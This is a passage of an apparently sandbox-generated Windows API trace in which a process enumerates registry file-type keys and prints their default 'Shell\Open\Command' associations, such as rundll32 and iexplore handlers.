lpName=0x2eef50, cchName=0x104 | out: lpName="MsRdpWebAccess.MsRdpClientShell") returned 0x0 [0100.960] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MsRdpWebAccess.MsRdpClientShell\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.960] SetLastError (dwErrCode=0x2) [0100.960] RegCloseKey (hKey=0x0) returned 0x6 [0100.960] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x990, lpName=0x2eef50, cchName=0x104 | out: lpName="MsRdpWebAccess.MsRdpClientShell.1") returned 0x0 [0100.960] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MsRdpWebAccess.MsRdpClientShell.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.961] SetLastError (dwErrCode=0x2) [0100.961] RegCloseKey (hKey=0x0) returned 0x6 [0100.961] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x991, lpName=0x2eef50, cchName=0x104 | out: lpName="Msrtedit.AAMSREdit") returned 0x0 [0100.961] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Msrtedit.AAMSREdit\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.961] SetLastError (dwErrCode=0x2) [0100.961] RegCloseKey (hKey=0x0) returned 0x6 [0100.961] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x992, lpName=0x2eef50, cchName=0x104 | out: lpName="MsScp.MSSCP") returned 0x0 [0100.961] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MsScp.MSSCP\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.961] SetLastError (dwErrCode=0x2) [0100.961] RegCloseKey (hKey=0x0) returned 0x6 [0100.961] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x993, lpName=0x2eef50, cchName=0x104 | out: lpName="MsScp.MSSCP.1") returned 0x0 [0100.961] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MsScp.MSSCP.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.961] SetLastError (dwErrCode=0x2) [0100.961] RegCloseKey (hKey=0x0) returned 0x6 [0100.961] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x994, lpName=0x2eef50, cchName=0x104 | out: lpName="MsScp.SCPTRANS") returned 0x0 [0100.961] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MsScp.SCPTRANS\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.961] SetLastError (dwErrCode=0x2) [0100.961] RegCloseKey (hKey=0x0) returned 0x6 [0100.961] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x995, lpName=0x2eef50, cchName=0x104 | out: lpName="MsScp.SCPTRANS.1") returned 0x0 [0100.961] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MsScp.SCPTRANS.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.961] SetLastError (dwErrCode=0x2) [0100.961] RegCloseKey (hKey=0x0) returned 0x6 [0100.961] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x996, lpName=0x2eef50, cchName=0x104 | out: lpName="MSScriptControl.ScriptControl") returned 0x0 [0100.962] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSScriptControl.ScriptControl\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.962] SetLastError (dwErrCode=0x2) [0100.962] RegCloseKey (hKey=0x0) returned 0x6 [0100.962] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x997, lpName=0x2eef50, cchName=0x104 | out: lpName="MSScriptControl.ScriptControl.1") returned 0x0 [0100.962] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSScriptControl.ScriptControl.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.962] SetLastError (dwErrCode=0x2) [0100.962] RegCloseKey (hKey=0x0) returned 0x6 [0100.962] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x998, lpName=0x2eef50, cchName=0x104 | out: lpName="MSSearch.IpsPi") returned 0x0 [0100.962] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSSearch.IpsPi\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.962] SetLastError (dwErrCode=0x2) [0100.962] RegCloseKey (hKey=0x0) returned 0x6 [0100.962] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x999, lpName=0x2eef50, cchName=0x104 | out: lpName="MSSearch.IpsPi.1") returned 0x0 [0100.962] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSSearch.IpsPi.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.962] SetLastError (dwErrCode=0x2) [0100.962] RegCloseKey (hKey=0x0) returned 0x6 [0100.962] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x99a, lpName=0x2eef50, cchName=0x104 | out: lpName="Msshed.ShedDSO") returned 0x0 [0100.962] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Msshed.ShedDSO\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.962] SetLastError (dwErrCode=0x2) [0100.962] RegCloseKey (hKey=0x0) returned 0x6 [0100.962] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x99b, lpName=0x2eef50, cchName=0x104 | out: lpName="MSSppLicenseFile") returned 0x0 [0100.962] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSSppLicenseFile\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0100.963] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x1, lpData=0x0, lpcbData=0x2eef20*=0x28) returned 0x0 [0100.963] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c6be0, lpcbData=0x2eef20*=0x28 | out: lpType=0x2eef28*=0x1, lpData="\"iexplore.exe\" \"%1\"", lpcbData=0x2eef20*=0x28) returned 0x0 [0100.963] RegCloseKey (hKey=0x64) returned 0x0 [0100.963] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="MSSppLicenseFile=\"iexplore.exe\" \"%1\"\r\n") returned 38 [0100.963] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.963] GetFileType (hFile=0x5c) returned 0x3 [0100.963] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.963] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MSSppLicenseFile=\"iexplore.exe\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MSSppLicenseFile=\"iexplore.exe\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 39 [0100.963] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x26, lpOverlapped=0x0) returned 1 [0100.963] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x99c, lpName=0x2eef50, cchName=0x104 | out: lpName="MSSppPackageFile") returned 0x0 [0100.963] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSSppPackageFile\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0100.963] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x1, lpData=0x0, lpcbData=0x2eef20*=0x4e) returned 0x0 [0100.963] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c5e10, lpcbData=0x2eef20*=0x4e | out: lpType=0x2eef28*=0x1, lpData="rundll32.exe sppcc.dll, OpenPackage %1", lpcbData=0x2eef20*=0x4e) returned 0x0 [0100.964] RegCloseKey (hKey=0x64) returned 0x0 [0100.964] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="MSSppPackageFile=rundll32.exe sppcc.dll, OpenPackage %1\r\n") returned 57 [0100.964] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.964] GetFileType (hFile=0x5c) returned 0x3 [0100.964] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.964] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MSSppPackageFile=rundll32.exe sppcc.dll, OpenPackage %1\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MSSppPackageFile=rundll32.exe sppcc.dll, OpenPackage %1\r\n", lpUsedDefaultChar=0x0) returned 58 [0100.964] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x39, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x39, lpOverlapped=0x0) returned 1 [0100.964] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x99d, lpName=0x2eef50, cchName=0x104 | out: lpName="msstylesfile") returned 0x0 [0100.964] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="msstylesfile\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0100.964] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x2, lpData=0x0, lpcbData=0x2eef20*=0x146) returned 0x0 [0100.964] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c9380, lpcbData=0x2eef20*=0x146 | out: lpType=0x2eef28*=0x2, lpData="%SystemRoot%\\system32\\rundll32.exe %SystemRoot%\\system32\\shell32.dll,Control_RunDLL %SystemRoot%\\system32\\desk.cpl desk,@Appearance /Action:OpenMSTheme /file:\"%1\"", lpcbData=0x2eef20*=0x146) returned 0x0 [0100.964] RegCloseKey (hKey=0x64) returned 0x0 [0100.964] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="msstylesfile=%SystemRoot%\\system32\\rundll32.exe %SystemRoot%\\system32\\shell32.dll,Control_RunDLL %SystemRoot%\\system32\\desk.cpl desk,@Appearance /Action:OpenMSTheme /file:\"%1\"\r\n") returned 177 [0100.964] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.964] GetFileType (hFile=0x5c) returned 0x3 [0100.965] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.965] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="msstylesfile=%SystemRoot%\\system32\\rundll32.exe %SystemRoot%\\system32\\shell32.dll,Control_RunDLL %SystemRoot%\\system32\\desk.cpl desk,@Appearance /Action:OpenMSTheme /file:\"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msstylesfile=%SystemRoot%\\system32\\rundll32.exe %SystemRoot%\\system32\\shell32.dll,Control_RunDLL %SystemRoot%\\system32\\desk.cpl desk,@Appearance /Action:OpenMSTheme /file:\"%1\"\r\n", lpUsedDefaultChar=0x0) returned 178 [0100.965] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0xb1, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0xb1, lpOverlapped=0x0) returned 1 [0100.965] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x99e, lpName=0x2eef50, cchName=0x104 | out: lpName="MSTIME.TIMEFactory") returned 0x0 [0100.965] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSTIME.TIMEFactory\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.965] SetLastError (dwErrCode=0x2) [0100.965] RegCloseKey (hKey=0x0) returned 0x6 [0100.965] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x99f, lpName=0x2eef50, cchName=0x104 | out: lpName="MSTIME.TIMEFactory.1") returned 0x0 [0100.965] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSTIME.TIMEFactory.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.965] SetLastError (dwErrCode=0x2) [0100.965] RegCloseKey (hKey=0x0) returned 0x6 [0100.965] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9a0, lpName=0x2eef50, cchName=0x104 | out: lpName="MsTscAx.MsTscAx") returned 0x0 [0100.965] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MsTscAx.MsTscAx\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.965] SetLastError (dwErrCode=0x2) [0100.966] RegCloseKey (hKey=0x0) returned 0x6 [0100.966] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9a1, lpName=0x2eef50, cchName=0x104 | out: lpName="MsTscAx.MsTscAx.1") returned 0x0 [0100.966] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MsTscAx.MsTscAx.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.966] SetLastError (dwErrCode=0x2) [0100.966] RegCloseKey (hKey=0x0) returned 0x6 [0100.966] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9a2, lpName=0x2eef50, cchName=0x104 | out: lpName="MsTscAx.MsTscAx.2") returned 0x0 [0100.966] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MsTscAx.MsTscAx.2\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.966] SetLastError (dwErrCode=0x2) [0100.966] RegCloseKey (hKey=0x0) returned 0x6 [0100.966] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9a3, lpName=0x2eef50, cchName=0x104 | out: lpName="MsTscAx.MsTscAx.3") returned 0x0 [0100.966] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MsTscAx.MsTscAx.3\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.966] SetLastError (dwErrCode=0x2) [0100.966] RegCloseKey (hKey=0x0) returned 0x6 [0100.966] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9a4, lpName=0x2eef50, cchName=0x104 | out: lpName="MsTscAx.MsTscAx.4") returned 0x0 [0100.966] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MsTscAx.MsTscAx.4\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.966] SetLastError (dwErrCode=0x2) [0100.966] RegCloseKey (hKey=0x0) returned 0x6 [0100.966] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9a5, lpName=0x2eef50, cchName=0x104 | out: lpName="MsTscAx.MsTscAx.5") returned 0x0 [0100.966] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MsTscAx.MsTscAx.5\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.966] SetLastError (dwErrCode=0x2) [0100.966] RegCloseKey (hKey=0x0) returned 0x6 [0100.966] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9a6, lpName=0x2eef50, cchName=0x104 | out: lpName="MsTscAx.MsTscAx.6") returned 0x0 [0100.966] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MsTscAx.MsTscAx.6\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.966] SetLastError (dwErrCode=0x2) [0100.966] RegCloseKey (hKey=0x0) returned 0x6 [0100.966] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9a7, lpName=0x2eef50, cchName=0x104 | out: lpName="MsTscAx.MsTscAx.7") returned 0x0 [0100.967] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MsTscAx.MsTscAx.7\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.967] SetLastError (dwErrCode=0x2) [0100.967] RegCloseKey (hKey=0x0) returned 0x6 [0100.967] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9a8, lpName=0x2eef50, cchName=0x104 | out: lpName="MsTscAx.MsTscAx.8") returned 0x0 [0100.967] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MsTscAx.MsTscAx.8\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.967] SetLastError (dwErrCode=0x2) [0100.967] RegCloseKey (hKey=0x0) returned 0x6 [0100.967] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9a9, lpName=0x2eef50, cchName=0x104 | out: lpName="MSTSWebProxy.MSTSWebProxy") returned 0x0 [0100.967] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSTSWebProxy.MSTSWebProxy\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.967] SetLastError (dwErrCode=0x2) [0100.967] RegCloseKey (hKey=0x0) returned 0x6 [0100.967] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9aa, lpName=0x2eef50, cchName=0x104 | out: lpName="MSTSWebProxy.MSTSWebProxy.1") returned 0x0 [0100.967] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSTSWebProxy.MSTSWebProxy.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.967] SetLastError (dwErrCode=0x2) [0100.967] RegCloseKey (hKey=0x0) returned 0x6 [0100.967] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9ab, lpName=0x2eef50, cchName=0x104 | out: lpName="MSTTSCommon.LTS") returned 0x0 [0100.967] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSTTSCommon.LTS\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.967] SetLastError (dwErrCode=0x2) [0100.967] RegCloseKey (hKey=0x0) returned 0x6 [0100.967] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9ac, lpName=0x2eef50, cchName=0x104 | out: lpName="MSTTSCommon.LTS.2") returned 0x0 [0100.967] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSTTSCommon.LTS.2\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.967] SetLastError (dwErrCode=0x2) [0100.967] RegCloseKey (hKey=0x0) returned 0x6 [0100.967] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9ad, lpName=0x2eef50, cchName=0x104 | out: lpName="MSTTSDecWrp.DecObj") returned 0x0 [0100.967] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSTTSDecWrp.DecObj\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.967] SetLastError (dwErrCode=0x2) [0100.967] RegCloseKey (hKey=0x0) returned 0x6 [0100.967] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9ae, lpName=0x2eef50, cchName=0x104 | out: lpName="MSTTSDecWrp.DecObj.1") returned 0x0 [0100.967] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSTTSDecWrp.DecObj.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.968] SetLastError (dwErrCode=0x2) [0100.968] RegCloseKey (hKey=0x0) returned 0x6 [0100.968] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9af, lpName=0x2eef50, cchName=0x104 | out: lpName="MSTTSEngine.TTSEngine") returned 0x0 [0100.968] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSTTSEngine.TTSEngine\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.968] SetLastError (dwErrCode=0x2) [0100.968] RegCloseKey (hKey=0x0) returned 0x6 [0100.968] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9b0, lpName=0x2eef50, cchName=0x104 | out: lpName="MSTTSEngine.TTSEngine.2") returned 0x0 [0100.968] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSTTSEngine.TTSEngine.2\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.968] SetLastError (dwErrCode=0x2) [0100.968] RegCloseKey (hKey=0x0) returned 0x6 [0100.968] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9b1, lpName=0x2eef50, cchName=0x104 | out: lpName="MSTTSFrontendENU.MSTTSFrontendENU") returned 0x0 [0100.968] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSTTSFrontendENU.MSTTSFrontendENU\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.968] SetLastError (dwErrCode=0x2) [0100.968] RegCloseKey (hKey=0x0) returned 0x6 [0100.968] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9b2, lpName=0x2eef50, cchName=0x104 | out: lpName="MSTTSFrontendENU.MSTTSFrontendENU.2") returned 0x0 [0100.968] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSTTSFrontendENU.MSTTSFrontendENU.2\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.968] SetLastError (dwErrCode=0x2) [0100.968] RegCloseKey (hKey=0x0) returned 0x6 [0100.968] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9b3, lpName=0x2eef50, cchName=0x104 | out: lpName="MSVidCtl.EVR") returned 0x0 [0100.968] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSVidCtl.EVR\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.968] SetLastError (dwErrCode=0x2) [0100.968] RegCloseKey (hKey=0x0) returned 0x6 [0100.968] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9b4, lpName=0x2eef50, cchName=0x104 | out: lpName="MSVidCtl.EVR.1") returned 0x0 [0100.968] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSVidCtl.EVR.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.968] SetLastError (dwErrCode=0x2) [0100.968] RegCloseKey (hKey=0x0) returned 0x6 [0100.968] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9b5, lpName=0x2eef50, cchName=0x104 | out: lpName="MSVidCtl.MSEventBinder") returned 0x0 [0100.968] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSVidCtl.MSEventBinder\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.969] SetLastError (dwErrCode=0x2) [0100.969] RegCloseKey (hKey=0x0) returned 0x6 [0100.969] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9b6, lpName=0x2eef50, cchName=0x104 | out: lpName="MSVidCtl.MSEventBinder.1") returned 0x0 [0100.969] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSVidCtl.MSEventBinder.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.969] SetLastError (dwErrCode=0x2) [0100.969] RegCloseKey (hKey=0x0) returned 0x6 [0100.969] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9b7, lpName=0x2eef50, cchName=0x104 | out: lpName="MSVidCtl.MSVidAnalogTunerDevice") returned 0x0 [0100.969] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSVidCtl.MSVidAnalogTunerDevice\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.969] SetLastError (dwErrCode=0x2) [0100.969] RegCloseKey (hKey=0x0) returned 0x6 [0100.969] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9b8, lpName=0x2eef50, cchName=0x104 | out: lpName="MSVidCtl.MSVidAnalogTunerDevice.1") returned 0x0 [0100.969] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSVidCtl.MSVidAnalogTunerDevice.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.969] SetLastError (dwErrCode=0x2) [0100.969] RegCloseKey (hKey=0x0) returned 0x6 [0100.969] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9b9, lpName=0x2eef50, cchName=0x104 | out: lpName="MSVidCtl.MSVidAudioRenderer") returned 0x0 [0100.969] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSVidCtl.MSVidAudioRenderer\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.969] SetLastError (dwErrCode=0x2) [0100.969] RegCloseKey (hKey=0x0) returned 0x6 [0100.969] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9ba, lpName=0x2eef50, cchName=0x104 | out: lpName="MSVidCtl.MSVidAudioRenderer.1") returned 0x0 [0100.969] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSVidCtl.MSVidAudioRenderer.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.969] SetLastError (dwErrCode=0x2) [0100.969] RegCloseKey (hKey=0x0) returned 0x6 [0100.969] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9bb, lpName=0x2eef50, cchName=0x104 | out: lpName="MSVidCtl.MSVidAudioRendererDevices") returned 0x0 [0100.969] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSVidCtl.MSVidAudioRendererDevices\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.970] SetLastError (dwErrCode=0x2) [0100.970] RegCloseKey (hKey=0x0) returned 0x6 [0100.970] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9bc, lpName=0x2eef50, cchName=0x104 | out: lpName="MSVidCtl.MSVidAudioRendererDevices.1") returned 0x0 [0100.970] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSVidCtl.MSVidAudioRendererDevices.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.970] SetLastError (dwErrCode=0x2) [0100.970] 